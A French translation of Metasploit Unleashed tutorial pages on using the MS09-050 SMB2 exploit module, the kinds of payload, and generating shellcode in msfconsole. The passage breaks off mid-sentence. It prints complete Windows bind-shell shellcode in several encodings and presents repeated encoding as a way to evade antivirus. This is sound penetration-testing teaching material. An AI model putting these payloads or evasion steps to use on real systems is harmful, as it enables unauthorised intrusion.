SHOW EXPLOITS command in MSFCONSOLE | Metasploit Unleashed
La sélection d'un exploit dans Metasploit ajoute les commandes exploit et check à
msfconsole.
msf > use
exploit/windows/smb/ms09_050_smb2_negotiate_func_index
msf exploit(ms09_050_smb2_negotiate_func_index) > help
...snip...
Exploit Commands
================
Command Description
------- -----------
check Check to see if a target is vulnerable
exploit Launch an exploit attempt
pry Open a Pry session on the current module
rcheck Reloads the module and checks if the target
is vulnerable
reload Just reloads the module
rerun Alias for rexploit
rexploit Reloads the module and launches an exploit
attempt
run Alias for exploit
msf exploit(ms09_050_smb2_negotiate_func_index) >
SHOW
L'utilisation d'un exploit ajoute également plus d'options à la commande show.
Cibles d'exploitation MSF
msf exploit(ms09_050_smb2_negotiate_func_index) > show targets
Exploit targets:
Id Name
-- ----
0 Windows Vista SP1/SP2 and Server 2008 (x86)
Exploiter les cibles :
msf exploit(ms09_050_smb2_negotiate_func_index) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank
Description
---- --------------- ----
-----------
generic/custom normal
Custom Payload
generic/debug_trap normal
Generic x86 Debug Trap
generic/shell_bind_tcp normal
Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal
Generic Command Shell, Reverse TCP Inline
generic/tight_loop normal
Generic x86 Tight Loop
windows/adduser normal
Windows Execute net user /ADD
...snip...
Options du module
msf exploit(ms09_050_smb2_negotiate_func_index) > show options
Module options
(exploit/windows/smb/ms09_050_smb2_negotiate_func_index):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes The target port (TCP)
WAIT 180 yes The number of seconds to
wait for the attack to complete.
Exploit target:
Id Name
-- ----
0 Windows Vista SP1/SP2 and Server 2008 (x86)
ADVANCED
msf exploit(ms09_050_smb2_negotiate_func_index) > show advanced
Module advanced options
(exploit/windows/smb/ms09_050_smb2_negotiate_func_index):
Name Current Setting Required
Description
---- --------------- --------
-----------
CHOST no The
local client address
CPORT no The
local client port
ConnectTimeout 10 yes Maximum
number of seconds to establish a TCP connection
ContextInformationFile no The
information file that contains context information
DisablePayloadHandler false no Disable
the handler code for the selected payload
EnableContextEncoding false no Use
transient context when encoding payloads
...snip...
EVASION
msf exploit(ms09_050_smb2_negotiate_func_index) > show evasion
Module evasion options:
Name Current Setting Required
Description
---- --------------- --------
-----------
SMB::obscure_trans_pipe_level 0 yes
Obscure PIPE string in TransNamedPipe (level 0-3)
SMB::pad_data_level 0 yes
Place extra padding between headers and data (level 0-3)
SMB::pad_file_level 0 yes
Obscure path names used in open/create (level 0-3)
SMB::pipe_evasion false yes
Enable segmented read/writes for SMB Pipes
SMB::pipe_read_max_size 1024 yes
Maximum buffer size for pipe reads
SMB::pipe_read_min_size 1 yes
Minimum buffer size for pipe reads
SMB::pipe_write_max_size 1024 yes
Maximum buffer size for pipe writes
SMB::pipe_write_min_size 1 yes
Minimum buffer size for pipe writes
TCP::max_send_size 0 no
Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no
Delays inserted before every send. (0 = disable)
‹ PREVIOUS PAGE
Working with Active and Passive Exploits in Metasploit
NEXT PAGE ›
Understanding Payloads in Metasploit
---------------------------------------------------------------------------------------------------------------------------
COMPRENDRE LES CHARGES UTILE
DANS METASPLOIT
QUE SIGNIFIE CHARGE UTILE ?
Une charge utile dans Metasploit fait référence à un module d'exploit. Il existe trois types
différents de modules de charge utile dans Metasploit Framework : Singles, Stagers et
Stages. Ces différents types permettent une grande polyvalence et peuvent être utiles
dans de nombreux types de scénarios. Qu'une charge utile soit mise en scène ou non,
est représenté par '/' dans le nom de la charge utile. Par exemple,
windows/shell_bind_tcp est une charge utile unique sans stage, alors que
windows/shell/bind_tcp se compose d'un stager (bind_tcp) et d'un stage (shell).
CONTENTS
1 SINGLES
2 STAGERS
3 STAGES
SINGLES
Les singles sont des charges utiles autonomes et complètement autonomes. Une
charge utile unique peut être quelque chose d'aussi simple que d'ajouter un utilisateur au
système cible ou d'exécuter calc.exe.
Ces types de charges utiles sont autonomes, ils peuvent donc être détectés avec des
gestionnaires non métasploit tels que netcat.
Stagers
Les Stagers établissent une connexion réseau entre l'attaquant et la victime et sont
conçus pour être petits et fiables. Il est difficile de toujours bien faire les deux, le résultat
est donc plusieurs étapes similaires. Metasploit utilisera le meilleur quand il le pourra et
reviendra à un moins préféré si nécessaire.
Étagers Windows NX vs NO-NX
Problème de fiabilité pour les CPU NX et DEP
Les étages NX sont plus gros (VirtualAlloc)
La valeur par défaut est désormais compatible NX + Win7
Stages
Les stages sont des composants de charge utile qui sont téléchargés par les modules
Stagers. Les différentes étapes de charge utile offrent des fonctionnalités avancées sans
limite de taille, telles que Meterpreter, VNC Injection et l'iPhone 'ipwn' Shell.
Les étages de charge utile utilisent automatiquement des « étages intermédiaires »
Un seul recv() échoue avec des charges utiles importantes
Le stager reçoit le stager intermédiaire
Le middle stager effectue ensuite un téléchargement complet
Aussi mieux pour RWX
‹ PREVIOUS PAGE
Using Exploits in Metasploit
NEXT PAGE ›
Payload Types in the Metasploit Framework
TYPES DE CHARGE UTILE DANS
LE CADRE METASPLOIT
DÉVELOPPEMENT DES TYPES DE CHARGE UTILE DANS METASPLOIT
Nous avons brièvement couvert les trois principaux types de charges utiles : les singles,
les stages et les stages. Metasploit contient de nombreux types de charges utiles,
chacune jouant un rôle unique dans le cadre. Examinons brièvement les différents types
de charges utiles disponibles et voyons quand chaque type doit être utilisé.
INLINE (NON STAGED)
Une charge utile unique contenant l'exploit et le code shell complet pour la tâche
sélectionnée. Les charges utiles en ligne sont par conception plus stables que leurs
homologues, car elles contiennent tout en un. Cependant, certains exploits ne prendront
pas en charge la taille résultante de ces charges utiles.
STAGER
Les charges utiles Stager fonctionnent conjointement avec les charges utiles Stage afin
d'effectuer une tâche spécifique. Un stager établit un canal de communication entre
l'attaquant et la victime et lit une charge utile de stage à exécuter sur l'hôte distant.
METERPRETER
Meterpreter, la forme abrégée de Meta-Interpreter, est une charge utile avancée
à multiples facettes qui fonctionne via l'injection de dll. Le Meterpreter réside
entièrement dans la mémoire de l'hôte distant et ne laisse aucune trace sur le
disque dur, ce qui le rend très difficile à détecter avec les techniques médico-
légales conventionnelles. Les scripts et les plugins peuvent être chargés et
déchargés dynamiquement selon les besoins et le développement de Meterpreter
est très solide et en constante évolution.
PASSIVEX
PassiveX est une charge utile qui peut aider à contourner les pare-feu sortants restrictifs.
Pour ce faire, il utilise un contrôle ActiveX pour créer une instance masquée d'Internet
Explorer. En utilisant le nouveau contrôle ActiveX, il communique avec l'attaquant via
des requêtes et des réponses HTTP.
NONX
Le bit NX (No eXecute) est une fonctionnalité intégrée à certains processeurs
pour empêcher l'exécution du code dans certaines zones de la mémoire. Dans
Windows, NX est implémenté en tant que Data Execution Prevention (DEP). Les
charges utiles Metasploit NoNX sont conçues pour contourner le DEP.
ORD
Les charges utiles ordinales sont des charges utiles basées sur Windows Stager qui
présentent des avantages et des inconvénients distincts. Les avantages étant qu'il
fonctionne sur toutes les saveurs et toutes les langues de Windows depuis Windows 9x
sans la définition explicite d'une adresse de retour. Ils sont également extrêmement
petits. Cependant, deux inconvénients très spécifiques en font pas le choix par défaut.
Le premier étant qu'il repose sur le fait que ws2_32.dll est chargé dans le processus en
cours d'exploitation avant exploitation. Le second étant qu'il est un peu moins stable que
les autres stagers.
IPV6
Les charges utiles Metasploit IPv6, comme leur nom l'indique, sont conçues pour
fonctionner sur les réseaux IPv6.
REFLECTIVE DLL INJECTION
L'injection de DLL réfléchissante est une technique par laquelle une charge utile d'étape
est injectée dans un processus hôte compromis s'exécutant en mémoire, sans jamais
toucher le disque dur hôte. Les charges utiles VNC et Meterpreter utilisent toutes deux
une injection DLL réfléchissante. Vous pouvez en savoir plus à ce sujet auprès de
Stephen Fewer, le créateur de la méthode d'injection de DLL réfléchissante. [Remarque :
Ce site n'existe plus et est lié à des fins historiques]
Maintenant que nous avons compris ce qu'est une charge utile, les types de charge utile
et quand les utiliser, générons quelques charges utiles..
‹ PREVIOUS PAGE
Understanding Payloads in Metasploit
NEXT PAGE ›
Generating Payloads in Metasploit
GÉNÉRER DES CHARGES UTILE DANS
METASPLOIT
GÉNÉRER UNE CHARGE UTILE POUR
METASPLOIT
Pendant le développement de l'exploit, vous aurez très
certainement besoin de générer un shellcode à utiliser
dans votre exploit. Dans Metasploit, les charges utiles
peuvent être générées à partir de la msfconsole.
Lorsque vous utilisez une certaine charge utile,
Metasploit ajoute les commandes de génération, de
levée et de rechargement. Générer sera l'objectif
principal de cette section pour apprendre à utiliser
Metasploit.
msf > use payload/windows/shell_bind_tcp
msf payload(shell_bind_tcp) > help
...snip...
Command Description
------- -----------
generate Generates a payload
pry Open a Pry session on the current module
reload Reload the current module from disk
Commençons par examiner les différentes options de la commande generate en l'exécutant
avec le commutateur -h.
msf payload(shell_bind_tcp) > generate -h
Usage: generate [options]
Generates a payload.
OPTIONS:
-E Force encoding.
-b The list of characters to avoid: '\x00\xff'
-e The name of the encoder module to use.
-f The output file name (otherwise stdout)
-h Help banner.
-i the number of encoding iterations.
-k Keep the template executable functional
-o A comma separated list of options in VAR=VAL format.
-p The Platform for output.
-s NOP sled length.
-t The output format:
raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-
small,elf,macho,vba,vbs,loop-vbs,asp,war
-x The executable template to use
Pour générer du shellcode sans aucune option, exécutez simplement
la commande generate.
msf payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" +
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" +
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" +
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x31" +
"\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68" +
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff" +
"\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7" +
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" +
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44" +
"\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56" +
"\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86" +
"\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60" +
"\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5" +
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" +
"\x6a\x00\x53\xff\xd5"
Bien sûr, les chances de générer un shellcode comme celui-ci sans aucune sorte de
"tweeking" sont plutôt faibles. Le plus souvent, de mauvais caractères et des types
d'encodeurs spécifiques seront utilisés en fonction de la machine ciblée.
L'exemple de code ci-dessus contient un caractère incorrect presque universel, l'octet nul
(\x00). Certes, certains exploits nous permettent de l'utiliser mais pas beaucoup. Générons le
même shellcode seulement cette fois, nous demanderons à Metasploit de supprimer cet
octet indésirable.
Pour ce faire, nous lançons la commande generate suivie du commutateur -b avec les octets
associés que nous souhaitons interdire pendant le processus de génération.
msf payload(shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xdb\xde\xba\x99\x7c\x1b\x5f\xd9\x74\x24\xf4\x5e\x2b\xc9" +
"\xb1\x56\x83\xee\xfc\x31\x56\x14\x03\x56\x8d\x9e\xee\xa3" +
"\x45\xd7\x11\x5c\x95\x88\x98\xb9\xa4\x9a\xff\xca\x94\x2a" +
"\x8b\x9f\x14\xc0\xd9\x0b\xaf\xa4\xf5\x3c\x18\x02\x20\x72" +
"\x99\xa2\xec\xd8\x59\xa4\x90\x22\x8d\x06\xa8\xec\xc0\x47" +
"\xed\x11\x2a\x15\xa6\x5e\x98\x8a\xc3\x23\x20\xaa\x03\x28" +
"\x18\xd4\x26\
...snip...
En regardant ce shellcode, il est facile de voir que, par rapport au shell de liaison généré
précédemment, les octets nuls ont été supprimés avec succès. Nous donnant ainsi une
charge utile sans octet nul. Nous voyons également d'autres différences significatives, en
raison du changement que nous avons imposé pendant la génération.
Une différence est la taille totale en octets du shellcode. Dans notre itération précédente, la
taille était de 341 octets, ce nouveau shellcode est plus grand de 27 octets.
msf payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
...snip...
msf payload(shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
...snip...
Lors de la génération, l'intention d'origine des octets nuls, ou leur utilité dans le code, devait
être remplacée (ou encodée) afin de garantir, une fois en mémoire, que notre shell de liaison
reste fonctionnel.
Un autre changement important est l'utilisation supplémentaire d'un encodeur. Par défaut,
Metasploit sélectionnera le meilleur encodeur pour accomplir la tâche à accomplir.
L'encodeur est responsable de la suppression des caractères indésirables (entre autres)
saisis lors de l'utilisation du commutateur -b. Nous discuterons plus en détail des encodeurs
plus tard.
Lors de la spécification de mauvais caractères, le framework utilisera le meilleur encodeur
pour le travail. L'encodeur x86/shikata_ga_nai était utilisé lorsque seul l'octet nul était
restreint lors de la génération du code. Si nous ajoutons quelques mauvais caractères
supplémentaires, un encodeur différent peut être utilisé pour accomplir la même tâche.
Ajoutons plusieurs octets supplémentaires à la liste et voyons ce qui se passe.
msf payload(shell_bind_tcp) > generate -b
'\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b'
# windows/shell_bind_tcp - 366 bytes
# http://www.metasploit.com
# Encoder: x86/fnstenv_mov
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\x6a\x56\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xbf" +
"\x5c\xbf\xe8\x83\xeb\xfc\...
...snip...
Nous voyons qu'un encodeur différent a été utilisé afin de supprimer avec succès nos octets
indésirables. Shikata_ga_nai était probablement incapable d'encoder notre charge utile en
utilisant notre liste d'octets restreinte. Fnstenv_mov, d'autre part, a pu accomplir cela.
ÉCHEC DE LA GÉNÉRATION DE LA CHARGE UTILE
Avoir la possibilité de générer du shellcode sans utiliser certains caractères est l'une des
grandes fonctionnalités offertes par ce framework. Cela ne veut pas dire que c'est illimité.
Si trop d'octets restreints sont donnés, aucun encodeur ne peut être prêt pour la tâche. À ce
moment, Metasploit affichera le message suivant.
msf payload(shell_bind_tcp) > generate -b
'\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b\xFF\x
0a\x0b\x01\xcc\6e\x1e\x2e\x26'
[-] Payload generation failed: No encoders encoded the buffer
successfully.
C'est comme enlever trop de lettres de l'alphabet et demander à quelqu'un d'écrire une
phrase complète. Parfois, cela ne peut tout simplement pas être fait.
UTILISATION D'UN ENCODEUR PENDANT LA GÉNÉRATION DE LA CHARGE UTILE
Comme mentionné précédemment, le framework choisira le meilleur encodeur possible
lors de la génération de notre charge utile. Cependant, il y a des moments où l'on doit
utiliser un type spécifique, indépendamment de ce qu'en pense Metasploit. Imaginez un
exploit qui ne s'exécutera avec succès que s'il ne contient que des caractères non
alphanumériques. L'encodeur 'shikata_ga_nai' ne serait pas approprié dans ce cas car il
utilise à peu près tous les caractères disponibles pour l'encodage.
En regardant la liste des encodeurs, nous voyons que l'encodeur x86/nonalpha est
présent..
msf payload(shell_bind_tcp) > show encoders
Encoders
========
Name Disclosure Date Rank
Description
---- --------------- ----
-----------
...snip...
x86/call4_dword_xor normal Call+4
Dword XOR Encoder
x86/context_cpuid manual CPUID-
based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-
based Context Keyed Payload Encoder
x86/context_time manual time(2)-
based Context Keyed Payload Encoder
x86/countdown normal Single-
byte XOR Countdown Encoder
x86/fnstenv_mov normal
Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal
Jump/Call XOR Additive Feedback Encoder
x86/context_stat manual stat(2)-
based Context Keyed Payload Encoder
x86/context_time manual time(2)-
based Context Keyed Payload Encoder
x86/countdown normal Single-
byte XOR Countdown Encoder
x86/fnstenv_mov normal
Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal
Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-
Alpha Encoder
x86/nonupper low Non-
Upper Encoder
x86/shikata_ga_nai excellent
Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single
Static Bit
x86/unicode_mixed manual Alpha2
Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2
Alphanumeric Unicode
Reprenons notre charge utile de shell de liaison, mais cette fois, nous dirons au framework
d'utiliser l'encodeur « nonalpha ». Pour ce faire, nous utilisons le commutateur -e suivi du
nom de l'encodeur tel qu'affiché dans la liste ci-dessus.
msf payload(shell_bind_tcp) > generate -e x86/nonalpha
# windows/shell_bind_tcp - 489 bytes
# http://www.metasploit.com
# Encoder: x86/nonalpha
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\x66\xb9\xff\xff\xeb\x19\x5e\x8b\xfe\x83\xc7\x70\x8b\xd7" +
"\x3b\xf2\x7d\x0b\xb0\x7b\xf2\xae\xff\xcf\xac\x28\x07\xeb" +
"\xf1\xeb\x75\xe8\xe2\xff\xff\xff\x17\x29\x29\x29\x09\x31" +
"\x1a\x29\x24\x29\x39\x03\x07\x31\x2b\x33\x23\x32\x06\x06" +
"\x23\x23\x15\x30\x23\x37\x1a\x22\x21\x2a\x23\x21\x13\x13" +
"\x04\x08\x27\x13\x2f\x04\x27\x2b\x13\x10\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x13\x28\x13\x11\x25\x24\x13\x14\x28\x24\x13\x28" +
"\x28\x24\x13\x07\x24\x13\x06\x0d\x2e\x1a\x13\x18\x0e\x17" +
"\x24\x24\x24\x11\x22\x25\x15\x37\x37\x37\x27\x2b\x25\x25" +
"\x25\x35\x25\x2d\x25\x25\x28\x25\x13\x02\x2d\x25\x35\x13" +
"\x25\x13\x06\x34\x09\x0c\x11\x28\xfc\xe8\x89\x00\x00\x00" +
...snip...
Si tout s'est déroulé comme prévu, notre charge utile ne contiendra aucun caractère
alphanumérique. Mais nous devons être prudents lors de l'utilisation d'un encodeur différent
de celui par défaut. Comme il a tendance à nous donner une charge utile plus importante.
Par exemple, celui-ci est beaucoup plus grand que nos exemples précédents.
Notre prochaine option sur la liste est le commutateur -f. Cela nous donne la possibilité
d'enregistrer notre charge utile générée dans un fichier au lieu de l'afficher à l'écran. Comme
toujours, il suit la commande generate avec le chemin du fichier.
msf payload(shell_bind_tcp) > generate -b '\x00' -e
x86/shikata_ga_nai -f /root/msfu/filename.txt
[*] Writing 1803 bytes to /root/msfu/filename.txt...
msf payload(shell_bind_tcp) > cat ~/msfu/filename.txt
[*] exec: cat ~/msfu/filename.txt
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xdb\xcb\xb8\x4f\xd9\x99\x0f\xd9\x74\x24\xf4\x5a\x2b\xc9" +
"\xb1\x56\x31\x42\x18\x83\xc2\x04\x03\x42\x5b\x3b\x6c\xf3" +
"\x8b\x32\x8f\x0c\x4b\x25\x19\xe9\x7a\x77\x7d\x79\x2e\x47" +
"\xf5\x2f\xc2\x2c\x5b\xc4\x51\x40\x74\xeb\xd2\xef\xa2\xc2" +
"\xe3\xc1\x6a\x88\x27\x43\x17\xd3\x7b\xa3\x26\x1c\x8e\xa2" +
"\x6f\x41\x60\xf6\x38\x0d\xd2\xe7\x4d\x53\xee\x06\x82\xdf" +
"\x4e\x71\xa7\x20\x3a\xcb\xa6\x70\x92\x40\xe0\x68\x99\x0f" +
"\xd1\x89\x4e\x4c\x2d\xc3\xfb\xa7\xc5\xd2\x2d\xf6\x26\xe5" +
...snip...
En utilisant la commande cat de la même manière que nous le ferions à partir du shell de
commande, nous pouvons voir que notre charge utile a été enregistrée avec succès dans
notre fichier. Comme nous pouvons le voir, il est également possible d'utiliser plusieurs
options lors de la génération de notre shellcode.
Génération de charges utiles avec plusieurs passes
Le prochain sur notre liste d'options est le commutateur d'itération -i. En un mot, cela indique
au framework combien de passes d'encodage il doit faire avant de produire la charge utile
finale. Une des raisons de le faire serait la furtivité ou l'évasion antivirus. L'évasion antivirus
est traitée plus en détail dans une autre section de MSFU.
Comparons donc notre charge utile bind shell générée en utilisant 1 itération contre 2
itérations du même shellcode.
msf payload(shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xdb\xd9\xb8\x41\x07\x94\x72\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x56\x31\x43\x18\x03\x43\x18\x83\xeb\xbd\xe5\x61\x8e" +
"\xd5\x63\x89\x6f\x25\x14\x03\x8a\x14\x06\x77\xde\x04\x96" +
"\xf3\xb2\xa4\x5d\x51\x27\x3f\x13\x7e\x48\x88\x9e\x58\x67" +
"\x09\x2f\x65\x2b\xc9\x31\x19\x36\x1d\x92\x20\xf9\x50\xd3" +
"\x65\xe4\x9a\x81\x3e\x62\x08\x36\x4a\x36\x90\x37\x9c\x3c" +
...snip...
msf payload(shell_bind_tcp) > generate -b '\x00' -i 2
# windows/shell_bind_tcp - 395 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xbd\xea\x95\xc9\x5b\xda\xcd\xd9\x74\x24\xf4\x5f\x31\xc9" +
"\xb1\x5d\x31\x6f\x12\x83\xc7\x04\x03\x85\x9b\x2b\xae\x80" +
"\x52\x72\x25\x16\x6f\x3d\x73\x9c\x0b\x38\x26\x11\xdd\xf4" +
"\x80\xd2\x1f\xf2\x1d\x96\x8b\xf8\x1f\xb7\x9c\x8f\x65\x96" +
"\xf9\x15\x99\x69\x57\x18\x7b\x09\x1c\xbc\xe6\xb9\xc5\xde" +
"\xc1\x81\xe7\xb8\xdc\x3a\x51\xaa\x34\xc0\x82\x7d\x6e\x45" +
"\xeb\x2b\x27\x08\x79\xfe\x8d\xe3\x2a\xed\x14\xe7\x46\x45" +
...snip...
En comparant les deux sorties, nous voyons l'effet évident de la deuxième itération sur notre
charge utile. Tout d'abord, la taille en octets est plus grande que la première. Plus on fait
d'itérations, plus notre charge utile sera importante. Deuxièmement, en comparant les
premiers octets du code mis en évidence, nous voyons également qu'ils ne sont plus les
mêmes. Cela est dû à la deuxième itération, ou deuxième passe d'encodage. Il a encodé
notre charge utile une fois, puis a pris cette charge utile et l'a encodée à nouveau.
Regardons notre shellcode et voyons à quel point 5 itérations feraient une différence.
msf payload(shell_bind_tcp) > generate -b '\x00' -i 5
# windows/shell_bind_tcp - 476 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xb8\xea\x18\x9b\x0b\xda\xc4\xd9\x74\x24\xf4\x5b\x33\xc9" +
"\xb1\x71\x31\x43\x13\x83\xeb\xfc\x03\x43\xe5\xfa\x6e\xd2" +
"\x31\x23\xe4\xc1\x35\x8f\x36\xc3\x0f\x94\x11\x23\x54\x64" +
"\x0b\xf2\xf9\x9f\x4f\x1f\x01\x9c\x1c\xf5\xbf\x7e\xe8\xc5" +
"\x94\xd1\xbf\xbb\x96\x64\xef\xc1\x10\x9e\x38\x45\x1b\x65" +
...snip...
Le changement est significatif par rapport à toutes les sorties précédentes. Il est légèrement
plus grand et nos octets sont loin d'être similaires. Ce qui, en théorie, rendrait cette version
de notre charge utile moins sujette à la détection.
Nous avons passé beaucoup de temps à générer du shellcode depuis le début avec des
valeurs par défaut. Dans le cas d'un shell de liaison, le port d'écoute par défaut est 4444.
Souvent, cela doit être modifié. Nous pouvons accomplir cela en utilisant le commutateur -o
suivi de la valeur que nous souhaitons modifier. Voyons quelles options nous pouvons
modifier pour cette charge utile. À partir de la msfconsole, nous lancerons la commande
show options.
msf payload(shell_bind_tcp) > show options
Module options (payload/windows/shell_bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh,
thread, process, none
LPORT 4444 yes The listen port
RHOST no The target address
Par défaut, notre shell écoutera sur le port 4444 et la fonction de sortie est « processus ».
Nous allons changer cela pour le port 1234 et la fonction de sortie 'seh' en utilisant le -o. La
syntaxe est VARIABLE=VALUE séparée par une virgule entre chaque option. Dans ce cas,
le port d'écoute et la fonction de sortie sont modifiés de sorte que la syntaxe suivante est
utilisée LPORT=1234,EXITFUNC=seh.
msf payload(shell_bind_tcp) > generate -o
LPORT=1234,EXITFUNC=seh -b '\x00' -e x86/shikata_ga_nai
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=1234, RHOST=, EXITFUNC=seh,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xdb\xd1\xd9\x74\x24\xf4\xbb\x93\x49\x9d\x3b\x5a\x29\xc9" +
"\xb1\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x87\xab\x68\xc7" +
"\x4f\xa2\x93\x38\x8f\xd5\x1a\xdd\xbe\xc7\x79\x95\x92\xd7" +
"\x0a\xfb\x1e\x93\x5f\xe8\x95\xd1\x77\x1f\x1e\x5f\xae\x2e" +
"\x9f\x51\x6e\xfc\x63\xf3\x12\xff\xb7\xd3\x2b\x30\xca\x12" +
"\x6b\x2d\x24\x46\x24\x39\x96\x77\x41\x7f\x2a\x79\x85\x0b" +
"\x12\x01\xa0\xcc\xe6\xbb\xab\x1c\x56\xb7\xe4\x84\xdd\x9f" +
...snip...
Génération de charge utile à l'aide d'un traîneau NOP
Enfin, examinons les options de longueur du traîneau NOP et de format de sortie. Lors de la
génération de charges utiles, le format de sortie par défaut indiqué est « ruby ». Bien que le
langage ruby soit extrêmement puissant et populaire, tout le monde n'y code pas. Nous
avons la capacité de dire au framework de donner notre payload dans différents formats de
codage tels que Perl, C et Java par exemple. L'ajout d'un traîneau NOP au début est
également possible lors de la génération de notre shellcode.
Examinons d'abord quelques formats de sortie différents et voyons comment le commutateur
